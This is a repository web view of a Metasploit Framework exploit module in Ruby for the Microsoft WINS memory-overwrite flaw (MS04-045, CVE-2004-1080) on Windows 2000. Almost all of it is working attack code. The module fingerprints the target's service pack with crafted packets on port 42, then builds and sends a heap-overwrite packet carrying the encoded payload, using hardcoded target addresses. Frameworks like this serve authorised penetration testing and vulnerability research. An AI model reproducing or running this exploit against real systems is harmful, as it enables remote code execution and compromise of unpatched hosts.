Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / windows / wins / ms04_045_wins.rb @ master

History | View | Annotate | Download (5 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# Framework web site for more information on licensing and terms of use.
9
# http://metasploit.com/framework/
10
##
11

    
12

    
13
require 'msf/core'
14

    
15

    
16
class Metasploit3 < Msf::Exploit::Remote
17
        Rank = GreatRanking
18

    
19
        include Msf::Exploit::Remote::Tcp
20

    
21
        def initialize(info = {})
22
                super(update_info(info,
23
                        'Name'           => 'Microsoft WINS Service Memory Overwrite',
24
                        'Description'    => %q{
25
                                This module exploits an arbitrary memory write flaw in the
26
                                WINS service. This exploit has been tested against Windows
27
                                2000 only.
28

    
29
                        },
30
                        'Author'         => [ 'hdm' ],
31
                        'License'        => MSF_LICENSE,
32
                        'Version'        => '$Revision$',
33
                        'References'     =>
34
                                [
35
                                        [ 'CVE', '2004-1080'],
36
                                        [ 'OSVDB', '12378'],
37
                                        [ 'BID', '11763'],
38
                                        [ 'MSB', 'MS04-045'],
39

    
40
                                ],
41
                        'Privileged'     => true,
42
                        'DefaultOptions'  =>
43
                                {
44
                                        'EXITFUNC' => 'process',
45
                                },
46
                        'Payload'        =>
47
                                {
48
                                        'Space'    => 8000,
49
                                        'MinNops'  => 512,
50
                                        'StackAdjustment' => -3500,
51

    
52
                                },
53
                        'Targets'        =>
54
                                [
55
                                        [
56
                                                'Windows 2000 English', # Tested OK - 11/25/2005 hdm
57
                                                {
58
                                                        'Platform' => 'win',
59
                                                        'Rets'     => [ 0x5391f40, 0x53df4c4, 0x53922e0],
60
                                                },
61
                                        ],
62
                                ],
63
                        'DisclosureDate' => 'Dec 14 2004',
64
                        'DefaultTarget' => 0))
65

    
66
                        register_options(
67
                                [
68
                                        Opt::RPORT(42)
69
                                ], self.class )
70
        end
71

    
72
        def check
73
                ret = fprint()
74

    
75
                info = 'This system is running '
76
                info << ((ret[1] == '?') ? 'an unknown windows version ' : "Windows #{ret[1]} ")
77
                info << ((ret[2] == '?') ? '' : "with service pack #{ret[2]} ")
78
                info << (ret[3] ? '(clean heap)' : '(dirty heap)')
79

    
80
                print_status(info)
81
                return ret[0]
82
        end
83

    
84
        def exploit
85
                ret = fprint()
86

    
87
                if (ret[0] != Exploit::CheckCode::Vulnerable)
88
                        print_status("This system does not appear to be vulnerable")
89
                        return
90
                end
91

    
92
                # Windows 2000 SP0, SP2, SP3, SP4 only. SP1 does not have the
93
                # same function pointer...
94
                if (ret[1] != '2000' or ret[2] !~ /^[0234]/)
95
                        print_status("This target is not currently supported")
96
                        return
97
                end
98

    
99
                # This flag is un-set if the first leaked address is not the default of
100
                # 0x05371e90. This can indicate that someone has already tried to exploit
101
                # this system, or something major happened to the heap that will probably
102
                # prevent this exploit from working.
103
                if (not ret[3])
104
                        print_status("Warning: the leaked heap address indicates that this attack may fail");
105
                end
106

    
107
                # The base address of our structure in memory
108
                base = target['Rets'][0]
109

    
110
                # Address of the function pointers to overwrite (courtesy anonymous donor)
111
                targ = target['Rets'][1]
112

    
113
                # Address of the payload on the heap, past the structure
114
                code = target['Rets'][2]
115

    
116
                # Build up the wins packet
117
                addr = ''
118
                addr << ([code].pack('V') * 9)
119
                addr << ([targ - 0x48].pack('V') * 14)
120

    
121
                wins = addr * 10
122
                wins << payload.encoded
123
                wins << rand_text_english(9200-wins.length, payload_badchars)
124

    
125
                wpkt = [wins.length + 8, -1, base].pack('NNN')
126
                wpkt << wins
127

    
128
                print_status(sprintf("Attempting to overwrite 0x%.8x with 0x%.8x (0x%.8x)", targ, code, base))
129

    
130
                # Connect and send the request
131
                connect
132
                sock.put(wpkt)
133
                handler
134
                disconnect
135
        end
136

    
137
        # This fingerprinting routine will cause the structure base address to slide down
138
        # 120 bytes. Subsequent fingerprints will not push this down any futher, however
139
        # we need to make sure that fingerprint is always called before exploitation or
140
        # the alignment will be way off.
141
        def fprint
142

    
143
                ret = [Exploit::CheckCode::Safe, '', '', '']
144

    
145
                req = "\x00\x00\x00\x29\x00\x00\x78\x00\x00\x00\x00\x00"+
146
                        "\x00\x00\x00\x00\x00\x00\x00\x40\x00\x02\x00\x05"+
147
                        "\x00\x00\x00\x00\x60\x56\x02\x01\x00\x1F\x6E\x03"+
148
                        "\x00\x1F\x6E\x03\x08\xFE\x66\x03\x00"
149

    
150
                connect
151
                sock.put(req)
152
                data = sock.get_once
153
                return ret if not data
154

    
155
                ptrs = [ data[16,4].unpack('N')[0] ].concat( data[32,12].unpack('VVV') )
156

    
157
                print_status(sprintf("WINS Fingerprint: [0x%.8x] 0x%.8x 0x%.8x 0x%.8x", *ptrs))
158

    
159
                os = '2000'
160
                sp = '?'
161
                vi = false
162

    
163
                # Check for Windows 2000 systems
164
                case ptrs[3]
165
                        when 0x77f8ae78
166
                                sp = '0'
167
                        when 0x77f81f70
168
                                sp = '1'
169
                        when 0x77f82680
170
                                sp = '2'
171
                        when 0x77f83608
172
                                sp = '3'
173
                        when 0x77f89640
174
                                sp = '4'
175
                        when 0x77f82518
176
                                sp = '5'
177
                        when 0x77f81648 # Contributed by grutz[at]jingojango.net
178
                                sp = '3/4'
179
                end
180

    
181
                # Reset the OS string if no match was found
182
                os = '?' if sp == '?'
183

    
184
                # Check for Windows NT 4.0 systems
185
                if (ptrs[0] > 0x02300000 and ptrs[0] < 0x02400000)
186
                        os = 'NT'
187
                        sp = '?'
188
                end
189

    
190
                # Heap is still pristine...
191
                vi = true if ptrs[0] == 0x05371e90
192

    
193
                # Determine if the patch has already been applied
194
                req = "\x00\x00\x00\x0F\x00\x00\x78\x00" + data[16, 4] +
195
                        "\x00\x00\x00\x03\x00\x00\x00\x00"
196

    
197
                sock.put(req)
198
                data = sock.get_once
199
                disconnect
200

    
201
                ret[1] = os
202
                ret[2] = sp
203
                ret[3] = vi
204

    
205
                if (data and data[6, 1] == "\x78")
206
                        ret[0] = Exploit::CheckCode::Vulnerable
207
                end
208

    
209
                return ret
210
        end
211

    
212
end
213